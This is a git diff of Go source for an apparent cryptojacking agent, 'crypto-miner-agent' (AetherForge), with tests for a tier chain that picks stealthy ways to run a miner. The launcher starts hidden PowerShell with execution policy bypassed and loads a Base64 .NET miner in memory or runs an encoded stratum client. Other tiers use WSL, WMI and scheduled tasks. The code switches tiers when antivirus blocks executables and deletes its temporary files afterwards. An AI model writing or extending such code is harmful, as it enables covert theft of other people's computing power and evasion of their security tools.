if !chainContains(skipped, TierDockerLoad) {
|
||||||
|
t.Fatalf("docker_load should be skipped without image tar, skipped=%v", skipped)
|
||||||
|
}
|
||||||
|
for _, tier := range []LOTLTier{TierContainer, TierWSL, TierCPUInprocess, TierGPUSubprocess, TierStratumDirect} {
|
||||||
|
if !chainContains(chain, tier) {
|
||||||
|
t.Fatalf("missing %q in chain=%v", tier, chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
for _, tier := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask} {
|
||||||
|
if !chainContains(chain, tier) {
|
||||||
|
t.Fatalf("windows chain missing %q: %v", tier, chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSelectMiningTierChainAVBlocksExeSkipsSubprocess(t *testing.T) {
|
||||||
|
probes := baseProbes()
|
||||||
|
probes.AVBlocksExe = true
|
||||||
|
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
||||||
|
if chain[0] != TierContainer {
|
||||||
|
t.Fatalf("AV blocks exe should prefer container first, got %v", chain)
|
||||||
|
}
|
||||||
|
if !chainContains(skipped, TierExeSubprocess) {
|
||||||
|
t.Fatalf("expected exe_subprocess in skipped, got %v", skipped)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSelectMiningTierChainNoDockerSkipsContainer(t *testing.T) {
|
||||||
|
probes := baseProbes()
|
||||||
|
probes.Docker = false
|
||||||
|
probes.AVBlocksExe = true
|
||||||
|
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
||||||
|
if chain[0] != TierWSL {
|
||||||
|
t.Fatalf("no docker should try WSL next, got %v", chain)
|
||||||
|
}
|
||||||
|
if !chainContains(skipped, TierContainer) {
|
||||||
|
t.Fatalf("expected container skipped, got %v", skipped)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSelectMiningTierChainNoWSLFallsToPSInMemory(t *testing.T) {
|
||||||
|
probes := baseProbes()
|
||||||
|
probes.Docker = false
|
||||||
|
probes.WSL = false
|
||||||
|
probes.AVBlocksExe = true
|
||||||
|
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
||||||
|
if chain[0] != TierPSInMemory {
|
||||||
|
t.Fatalf("no WSL should try ps_inmemory, got %v", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSelectMiningTierChainNoGPUOmitsGPUSubprocess(t *testing.T) {
|
||||||
|
probes := baseProbes()
|
||||||
|
probes.GPU = false
|
||||||
|
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
||||||
|
GPUEnabled: true,
|
||||||
|
RVNWallet: "wallet",
|
||||||
|
}))
|
||||||
|
if chainContains(chain, TierGPUSubprocess) {
|
||||||
|
t.Fatalf("no GPU probe should omit gpu tier, chain=%v", chain)
|
||||||
|
}
|
||||||
|
if !chainContains(skipped, TierGPUSubprocess) {
|
||||||
|
t.Fatalf("expected gpu_subprocess skipped, got %v", skipped)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSelectMiningTierChainInProcessMode(t *testing.T) {
|
||||||
|
chain, _ := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
||||||
|
MinerExecution: ExecutionInProcess,
|
||||||
|
}))
|
||||||
|
if chain[0] != TierCPUInprocess {
|
||||||
|
t.Fatalf("inprocess mode chain=%v want cpu_inprocess first", chain)
|
||||||
|
}
|
||||||
|
if !chainContains(chain, TierStratumDirect) {
|
||||||
|
t.Fatalf("inprocess mode should retain stratum overlay, chain=%v", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSelectMiningTierChainServerSkipTiers(t *testing.T) {
|
||||||
|
policy := MiningTierPolicy{
|
||||||
|
TierOrder: DefaultTierOrder,
|
||||||
|
SkipTiers: []LOTLTier{TierExeSubprocess, TierWSL},
|
||||||
|
}
|
||||||
|
chain, _ := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
|
||||||
|
if chain[0] != TierContainer {
|
||||||
|
t.Fatalf("server skip should start at container, got %v", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSelectMiningTierChainForceTier(t *testing.T) {
|
||||||
|
policy := MiningTierPolicy{ForceTier: TierCPUInprocess}
|
||||||
|
chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
|
||||||
|
if len(chain) != 1 || chain[0] != TierCPUInprocess {
|
||||||
|
t.Fatalf("force tier chain=%v skipped=%v", chain, skipped)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
|
||||||
|
probes := EnvironmentProbes{
|
||||||
|
Docker: false,
|
||||||
|
WSL: false,
|
||||||
|
PowerShell: false,
|
||||||
|
DotNet: false,
|
||||||
|
}
|
||||||
|
policy := MiningTierPolicy{TierOrder: []LOTLTier{TierExeSubprocess, TierCPUInprocess}}
|
||||||
|
o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{
|
||||||
|
StartInProcess: func() error { return nil },
|
||||||
|
}, nil)
|
||||||
|
|
||||||
|
tier, err := o.TryChain(t.Context())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("TryChain: %v", err)
|
||||||
|
}
|
||||||
|
if tier != TierCPUInprocess {
|
||||||
|
t.Fatalf("active=%q want cpu_inprocess", tier)
|
||||||
|
}
|
||||||
|
report := o.Report()
|
||||||
|
var exeAttempt, cpuAttempt *TierAttempt
|
||||||
|
for i := range report.Attempts {
|
||||||
|
switch report.Attempts[i].Tier {
|
||||||
|
case TierExeSubprocess:
|
||||||
|
exeAttempt = &report.Attempts[i]
|
||||||
|
case TierCPUInprocess:
|
||||||
|
cpuAttempt = &report.Attempts[i]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if exeAttempt == nil || cpuAttempt == nil {
|
||||||
|
t.Fatalf("expected exe + cpu attempts, got %v", report.Attempts)
|
||||||
|
}
|
||||||
|
if exeAttempt.Wallet != "test-cmr-wallet" || cpuAttempt.Wallet != "test-cmr-wallet" {
|
||||||
|
t.Fatalf("wallet must be identical: %v", report.Attempts)
|
||||||
|
}
|
||||||
|
if exeAttempt.OK {
|
||||||
|
t.Fatalf("stub tier should fail: %v", *exeAttempt)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -153,6 +153,19 @@ func (p *Pool) IsRemotePaused() bool {
|
|||||||
return p.remotePause.Load()
|
return p.remotePause.Load()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// DiagnosticSnapshot reports CPU mining gate state for operator diagnostics.
|
||||||
|
func (p *Pool) DiagnosticSnapshot() (remotePaused, scheduleBlocked, resourcesBlocked, hasJob bool, hps float64) {
|
||||||
|
remotePaused = p.remotePause.Load()
|
||||||
|
scheduleBlocked = p.schedule != nil && !p.schedule.Allowed()
|
||||||
|
resourcesBlocked = !p.resourcesOK()
|
||||||
|
p.mu.RLock()
|
||||||
|
job := p.currentJob
|
||||||
|
p.mu.RUnlock()
|
||||||
|
hasJob = job != nil && job.Blob != ""
|
||||||
|
hps = p.HashesPerSecond()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
func (p *Pool) resourceGuard() {
|
func (p *Pool) resourceGuard() {
|
||||||
ticker := time.NewTicker(5 * time.Second)
|
ticker := time.NewTicker(5 * time.Second)
|
||||||
defer ticker.Stop()
|
defer ticker.Stop()
|
||||||
|
|||||||
307
agent/miner/powershell_launcher.go
Normal file
307
agent/miner/powershell_launcher.go
Normal file
@@ -0,0 +1,307 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// powershellBin is the PowerShell executable; tests override via SetPowerShellBinPath.
|
||||||
|
var powershellBin = "powershell"
|
||||||
|
|
||||||
|
// powershellExecCommand is exec.Command; tests override via SetPowerShellExecCommand.
|
||||||
|
var powershellExecCommand = exec.Command
|
||||||
|
|
||||||
|
// embeddedMiningAssemblyB64 holds an optional pre-built .NET miner DLL (Base64).
|
||||||
|
// Empty → launcher uses encoded in-script .NET stratum stub (Assembly-free path).
|
||||||
|
var embeddedMiningAssemblyB64 = ""
|
||||||
|
|
||||||
|
// SetPowerShellBinPath overrides the PowerShell binary (restore with "").
|
||||||
|
func SetPowerShellBinPath(path string) {
|
||||||
|
if strings.TrimSpace(path) == "" {
|
||||||
|
powershellBin = "powershell"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
powershellBin = path
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetPowerShellExecCommand restores default when fn is nil.
|
||||||
|
func SetPowerShellExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||||
|
if fn == nil {
|
||||||
|
powershellExecCommand = exec.Command
|
||||||
|
return
|
||||||
|
}
|
||||||
|
powershellExecCommand = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetEmbeddedMiningAssemblyB64 sets optional in-memory assembly bytes for tests.
|
||||||
|
func SetEmbeddedMiningAssemblyB64(b64 string) {
|
||||||
|
embeddedMiningAssemblyB64 = b64
|
||||||
|
}
|
||||||
|
|
||||||
|
// PowerShellLauncher hosts CPU mining via powershell.exe + in-memory assembly or encoded command.
|
||||||
|
type PowerShellLauncher struct {
|
||||||
|
cfg config.RuntimeConfig
|
||||||
|
scriptPath string
|
||||||
|
gpuDllPath string
|
||||||
|
|
||||||
|
mu sync.Mutex
|
||||||
|
running bool
|
||||||
|
cmd *exec.Cmd
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewPowerShellLauncher validates platform and pool config.
|
||||||
|
func NewPowerShellLauncher(cfg config.RuntimeConfig) (*PowerShellLauncher, error) {
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
return nil, fmt.Errorf("powershell tier requires Windows")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
|
||||||
|
return nil, fmt.Errorf("pool host/port required for powershell stratum tier")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(cfg.Wallet) == "" {
|
||||||
|
return nil, fmt.Errorf("wallet required for powershell stratum tier")
|
||||||
|
}
|
||||||
|
if _, err := exec.LookPath(powershellBin); err != nil {
|
||||||
|
return nil, fmt.Errorf("powershell not in PATH: %w", err)
|
||||||
|
}
|
||||||
|
return &PowerShellLauncher{cfg: cfg}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start writes an ephemeral script to %TEMP% and launches hidden powershell.exe.
|
||||||
|
func (l *PowerShellLauncher) Start() error {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
if l.running {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
script, err := l.writeEphemeralScript()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
l.scriptPath = script
|
||||||
|
|
||||||
|
args := []string{
|
||||||
|
"-NoProfile", "-ExecutionPolicy", "Bypass",
|
||||||
|
"-WindowStyle", "Hidden",
|
||||||
|
"-File", script,
|
||||||
|
}
|
||||||
|
cmd := powershellExecCommand(powershellBin, args...)
|
||||||
|
cmd.Stdout = nil
|
||||||
|
cmd.Stderr = nil
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
_ = os.Remove(script)
|
||||||
|
l.scriptPath = ""
|
||||||
|
return fmt.Errorf("powershell start failed: %w", err)
|
||||||
|
}
|
||||||
|
l.cmd = cmd
|
||||||
|
l.running = true
|
||||||
|
log.Printf("[powershell-tier] started parent=%s script=%s wallet=%s pool=%s:%d",
|
||||||
|
powershellBin, script, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
|
||||||
|
go l.waitExit()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *PowerShellLauncher) waitExit() {
|
||||||
|
if l.cmd == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
err := l.cmd.Wait()
|
||||||
|
l.mu.Lock()
|
||||||
|
l.running = false
|
||||||
|
l.cmd = nil
|
||||||
|
script := l.scriptPath
|
||||||
|
gpu := l.gpuDllPath
|
||||||
|
l.scriptPath = ""
|
||||||
|
l.gpuDllPath = ""
|
||||||
|
l.mu.Unlock()
|
||||||
|
if script != "" {
|
||||||
|
_ = os.Remove(script)
|
||||||
|
}
|
||||||
|
if gpu != "" {
|
||||||
|
_ = os.Remove(gpu)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[powershell-tier] powershell.exe exited: %v — chain will advance", err)
|
||||||
|
} else {
|
||||||
|
log.Printf("[powershell-tier] powershell.exe stopped")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stop kills the powershell parent and removes ephemeral artifacts.
|
||||||
|
func (l *PowerShellLauncher) Stop() {
|
||||||
|
l.mu.Lock()
|
||||||
|
cmd := l.cmd
|
||||||
|
running := l.running
|
||||||
|
script := l.scriptPath
|
||||||
|
gpu := l.gpuDllPath
|
||||||
|
l.mu.Unlock()
|
||||||
|
if !running {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if cmd != nil && cmd.Process != nil {
|
||||||
|
_ = cmd.Process.Kill()
|
||||||
|
}
|
||||||
|
if script != "" {
|
||||||
|
_ = os.Remove(script)
|
||||||
|
}
|
||||||
|
if gpu != "" {
|
||||||
|
_ = os.Remove(gpu)
|
||||||
|
}
|
||||||
|
l.mu.Lock()
|
||||||
|
l.running = false
|
||||||
|
l.cmd = nil
|
||||||
|
l.scriptPath = ""
|
||||||
|
l.gpuDllPath = ""
|
||||||
|
l.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Running reports whether powershell.exe is supervising the tier.
|
||||||
|
func (l *PowerShellLauncher) Running() bool {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
return l.running
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScriptPath returns the ephemeral PS1 path (tests only).
|
||||||
|
func (l *PowerShellLauncher) ScriptPath() string {
|
||||||
|
l.mu.Lock()
|
||||||
|
defer l.mu.Unlock()
|
||||||
|
return l.scriptPath
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *PowerShellLauncher) writeEphemeralScript() (string, error) {
|
||||||
|
dir := os.TempDir()
|
||||||
|
name := fmt.Sprintf("af-miner-%s.ps1", strings.TrimSpace(l.cfg.BuildID))
|
||||||
|
if name == "af-miner-.ps1" {
|
||||||
|
name = "af-miner-worker.ps1"
|
||||||
|
}
|
||||||
|
path := filepath.Join(dir, name)
|
||||||
|
|
||||||
|
if l.cfg.GPUEnabled && strings.TrimSpace(l.cfg.RVNWallet) != "" {
|
||||||
|
gpuPath := filepath.Join(dir, fmt.Sprintf("af-gpu-%s.dll", strings.TrimSpace(l.cfg.BuildID)))
|
||||||
|
if gpuPath == filepath.Join(dir, "af-gpu-.dll") {
|
||||||
|
gpuPath = filepath.Join(dir, "af-gpu-worker.dll")
|
||||||
|
}
|
||||||
|
// Placeholder GPU helper — real KawPoW DLL supplied by forge/server in production.
|
||||||
|
if err := os.WriteFile(gpuPath, []byte("AETHERFORGE_GPU_STUB"), 0o600); err == nil {
|
||||||
|
l.gpuDllPath = gpuPath
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
body, err := l.buildScriptBody()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
|
||||||
|
return "", fmt.Errorf("write script: %w", err)
|
||||||
|
}
|
||||||
|
return path, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *PowerShellLauncher) buildScriptBody() (string, error) {
|
||||||
|
pass := strings.TrimSpace(l.cfg.PoolPass)
|
||||||
|
if pass == "" {
|
||||||
|
pass = "x"
|
||||||
|
}
|
||||||
|
wallet := strings.TrimSpace(l.cfg.Wallet)
|
||||||
|
worker := strings.TrimSpace(l.cfg.WorkerName)
|
||||||
|
if worker == "" {
|
||||||
|
worker = "worker"
|
||||||
|
}
|
||||||
|
|
||||||
|
if b64 := strings.TrimSpace(embeddedMiningAssemblyB64); b64 != "" {
|
||||||
|
if _, err := base64.StdEncoding.DecodeString(b64); err != nil {
|
||||||
|
return "", fmt.Errorf("invalid embedded assembly base64: %w", err)
|
||||||
|
}
|
||||||
|
tlsLit := "$false"
|
||||||
|
if l.cfg.PoolTLS {
|
||||||
|
tlsLit = "$true"
|
||||||
|
}
|
||||||
|
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
|
||||||
|
$bytes = [Convert]::FromBase64String('%s')
|
||||||
|
$asm = [Reflection.Assembly]::Load($bytes)
|
||||||
|
$entry = $asm.GetType('AetherForge.Miner.Entry')
|
||||||
|
$null = $entry.GetMethod('Start').Invoke($null, @('%s', %d, '%s', '%s', '%s', %s))
|
||||||
|
`,
|
||||||
|
b64,
|
||||||
|
escapePSSingleQuoted(l.cfg.PoolHost),
|
||||||
|
l.cfg.PoolPort,
|
||||||
|
escapePSSingleQuoted(pass),
|
||||||
|
escapePSSingleQuoted(wallet),
|
||||||
|
escapePSSingleQuoted(worker),
|
||||||
|
tlsLit,
|
||||||
|
), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Encoded-command path: inline .NET stratum stub (no external CPU .exe).
|
||||||
|
encoded := buildEncodedStratumCommand(l.cfg, pass, wallet, worker)
|
||||||
|
gpuBlock := ""
|
||||||
|
if l.gpuDllPath != "" {
|
||||||
|
gpuBlock = fmt.Sprintf("\n# optional GPU DLL at %s\n", escapePSSingleQuoted(l.gpuDllPath))
|
||||||
|
}
|
||||||
|
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
|
||||||
|
# AetherForge PowerShell tier — wallet=%s pool=%s:%d
|
||||||
|
%s
|
||||||
|
$cmd = '%s'
|
||||||
|
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand $cmd
|
||||||
|
`,
|
||||||
|
wallet,
|
||||||
|
l.cfg.PoolHost,
|
||||||
|
l.cfg.PoolPort,
|
||||||
|
gpuBlock,
|
||||||
|
encoded,
|
||||||
|
), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildEncodedStratumCommand(cfg config.RuntimeConfig, pass, wallet, worker string) string {
|
||||||
|
tlsLit := "$false"
|
||||||
|
if cfg.PoolTLS {
|
||||||
|
tlsLit = "$true"
|
||||||
|
}
|
||||||
|
inner := fmt.Sprintf(`
|
||||||
|
$poolHost = '%s'; $port = %d; $tls = %s; $wallet = '%s'; $worker = '%s'; $pass = '%s'
|
||||||
|
$tcp = New-Object Net.Sockets.TcpClient; $tcp.Connect($poolHost, $port)
|
||||||
|
$stream = $tcp.GetStream()
|
||||||
|
if ($tls) {
|
||||||
|
$ssl = New-Object Net.Security.SslStream($stream, $false, { $true })
|
||||||
|
$ssl.AuthenticateAsClient($poolHost); $stream = $ssl
|
||||||
|
}
|
||||||
|
$w = New-Object IO.StreamWriter($stream); $w.AutoFlush = $true
|
||||||
|
$r = New-Object IO.StreamReader($stream)
|
||||||
|
$login = (@{id=1;jsonrpc='2.0';method='login';params=@{login=$wallet;pass=$pass;rigid=$worker;agent='AetherForge/PS'}} | ConvertTo-Json -Compress)
|
||||||
|
$w.WriteLine($login); $null = $r.ReadLine()
|
||||||
|
while ($tcp.Connected) { $null = $r.ReadLine(); Start-Sleep -Milliseconds 50 }
|
||||||
|
`,
|
||||||
|
escapePSSingleQuoted(cfg.PoolHost),
|
||||||
|
cfg.PoolPort,
|
||||||
|
tlsLit,
|
||||||
|
escapePSSingleQuoted(wallet),
|
||||||
|
escapePSSingleQuoted(worker),
|
||||||
|
escapePSSingleQuoted(pass),
|
||||||
|
)
|
||||||
|
// UTF-16LE base64 for -EncodedCommand
|
||||||
|
utf16 := utf16LE(inner)
|
||||||
|
return base64.StdEncoding.EncodeToString(utf16)
|
||||||
|
}
|
||||||
|
|
||||||
|
func escapePSSingleQuoted(s string) string {
|
||||||
|
return strings.ReplaceAll(s, "'", "''")
|
||||||
|
}
|
||||||
|
|
||||||
|
func utf16LE(s string) []byte {
|
||||||
|
runes := []rune(s)
|
||||||
|
out := make([]byte, 0, len(runes)*2)
|
||||||
|
for _, r := range runes {
|
||||||
|
out = append(out, byte(r), byte(r>>8))
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
147
agent/miner/powershell_launcher_test.go
Normal file
147
agent/miner/powershell_launcher_test.go
Normal file
@@ -0,0 +1,147 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func fakePowerShellRecorder(t *testing.T) (bin string, scriptOut *string) {
|
||||||
|
t.Helper()
|
||||||
|
dir := t.TempDir()
|
||||||
|
outFile := filepath.Join(dir, "ps-args.txt")
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
bat := filepath.Join(dir, "fake-powershell.cmd")
|
||||||
|
body := `@echo off
|
||||||
|
set OUT=%~dp0ps-args.txt
|
||||||
|
echo %*>>"%OUT%"
|
||||||
|
ping -n 3 127.0.0.1 >nul
|
||||||
|
`
|
||||||
|
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
return bat, &outFile
|
||||||
|
}
|
||||||
|
sh := filepath.Join(dir, "fake-powershell.sh")
|
||||||
|
body := `#!/bin/sh
|
||||||
|
echo "$@" >> "$(dirname "$0")/ps-args.txt"
|
||||||
|
sleep 1
|
||||||
|
`
|
||||||
|
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
return sh, &outFile
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPowerShellLauncherStartWithFakeBinary(t *testing.T) {
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
t.Skip("powershell tier is Windows-only")
|
||||||
|
}
|
||||||
|
|
||||||
|
bin, outFile := fakePowerShellRecorder(t)
|
||||||
|
SetPowerShellBinPath(bin)
|
||||||
|
SetPowerShellExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||||
|
return exec.Command(name, args...)
|
||||||
|
})
|
||||||
|
defer func() {
|
||||||
|
SetPowerShellBinPath("")
|
||||||
|
SetPowerShellExecCommand(nil)
|
||||||
|
}()
|
||||||
|
|
||||||
|
cfg := config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
BuildID: "ps-test",
|
||||||
|
Wallet: "XMR:wallet123",
|
||||||
|
WorkerName: "worker-ps",
|
||||||
|
PoolHost: "pool.example.com",
|
||||||
|
PoolPort: 3333,
|
||||||
|
PoolPass: "x",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
launcher, err := NewPowerShellLauncher(cfg)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewPowerShellLauncher: %v", err)
|
||||||
|
}
|
||||||
|
if err := launcher.Start(); err != nil {
|
||||||
|
t.Fatalf("Start: %v", err)
|
||||||
|
}
|
||||||
|
defer launcher.Stop()
|
||||||
|
|
||||||
|
script := launcher.ScriptPath()
|
||||||
|
if script == "" {
|
||||||
|
t.Fatal("expected ephemeral script path")
|
||||||
|
}
|
||||||
|
body, err := os.ReadFile(script)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read script: %v", err)
|
||||||
|
}
|
||||||
|
text := string(body)
|
||||||
|
if !strings.Contains(text, "XMR:wallet123") {
|
||||||
|
t.Fatalf("script missing wallet: %s", text)
|
||||||
|
}
|
||||||
|
if !strings.Contains(text, "pool.example.com") {
|
||||||
|
t.Fatalf("script missing pool host: %s", text)
|
||||||
|
}
|
||||||
|
|
||||||
|
if data, err := os.ReadFile(*outFile); err == nil && len(data) > 0 {
|
||||||
|
args := string(data)
|
||||||
|
if !strings.Contains(args, "-WindowStyle") || !strings.Contains(args, "Hidden") {
|
||||||
|
t.Fatalf("powershell args=%q want hidden window", args)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !launcher.Running() {
|
||||||
|
t.Fatal("Running() false after Start")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPowerShellLauncherRequiresPoolAndWallet(t *testing.T) {
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
t.Skip("powershell tier is Windows-only")
|
||||||
|
}
|
||||||
|
bin, _ := fakePowerShellRecorder(t)
|
||||||
|
SetPowerShellBinPath(bin)
|
||||||
|
defer SetPowerShellBinPath("")
|
||||||
|
|
||||||
|
if _, err := NewPowerShellLauncher(config.RuntimeConfig{}); err == nil {
|
||||||
|
t.Fatal("expected error without pool/wallet")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPowerShellLauncherAssemblyLoadPath(t *testing.T) {
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
t.Skip("powershell tier is Windows-only")
|
||||||
|
}
|
||||||
|
bin, _ := fakePowerShellRecorder(t)
|
||||||
|
SetPowerShellBinPath(bin)
|
||||||
|
SetEmbeddedMiningAssemblyB64("YWJj") // "abc"
|
||||||
|
defer func() {
|
||||||
|
SetPowerShellBinPath("")
|
||||||
|
SetEmbeddedMiningAssemblyB64("")
|
||||||
|
}()
|
||||||
|
|
||||||
|
cfg := config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
Wallet: "wallet",
|
||||||
|
PoolHost: "p",
|
||||||
|
PoolPort: 1,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
launcher, err := NewPowerShellLauncher(cfg)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
body, err := launcher.buildScriptBody()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(body, "Assembly]::Load") {
|
||||||
|
t.Fatalf("expected Assembly.Load path, got %s", body)
|
||||||
|
}
|
||||||
|
}
|
||||||
197
agent/miner/probe_runner.go
Normal file
197
agent/miner/probe_runner.go
Normal file
@@ -0,0 +1,197 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"log"
|
||||||
|
"runtime"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TierHandler probes or starts one auxiliary LOTL path (WebView2, WMI, etc.).
|
||||||
|
type TierHandler interface {
|
||||||
|
Tier() LOTLTier
|
||||||
|
Available(cfg config.RuntimeConfig) bool
|
||||||
|
Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt
|
||||||
|
Stop()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProbeReporter emits probe-tier snapshots (single-arg; distinct from TierOrchestrator reporter).
|
||||||
|
type ProbeReporter func(report TierReport)
|
||||||
|
|
||||||
|
// TierRunner orchestrates probe/escalation tiers with per-attempt reporting.
|
||||||
|
type TierRunner struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
cfg config.RuntimeConfig
|
||||||
|
handlers []TierHandler
|
||||||
|
report ProbeReporter
|
||||||
|
attempts []TierAttempt
|
||||||
|
active LOTLTier
|
||||||
|
stopped []TierHandler
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewTierRunner builds a runner with platform-default handlers.
|
||||||
|
func NewTierRunner(cfg config.RuntimeConfig, report ProbeReporter) *TierRunner {
|
||||||
|
return &TierRunner{
|
||||||
|
cfg: cfg,
|
||||||
|
handlers: defaultTierHandlers(),
|
||||||
|
report: report,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetHandlers replaces handlers (tests inject mocks).
|
||||||
|
func (r *TierRunner) SetHandlers(h []TierHandler) {
|
||||||
|
r.mu.Lock()
|
||||||
|
r.handlers = h
|
||||||
|
r.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Report returns the current tier snapshot.
|
||||||
|
func (r *TierRunner) Report() TierReport {
|
||||||
|
r.mu.RLock()
|
||||||
|
defer r.mu.RUnlock()
|
||||||
|
return r.buildReport()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *TierRunner) buildReport() TierReport {
|
||||||
|
attempts := make([]TierAttempt, len(r.attempts))
|
||||||
|
copy(attempts, r.attempts)
|
||||||
|
rep := TierReport{
|
||||||
|
ActiveTier: r.active,
|
||||||
|
Attempts: attempts,
|
||||||
|
}
|
||||||
|
for _, a := range attempts {
|
||||||
|
if a.Tier == TierWebView2Probe && a.OK {
|
||||||
|
if v, ok := a.Details["webgpu_available"].(bool); ok {
|
||||||
|
rep.WebGPUReady = v
|
||||||
|
}
|
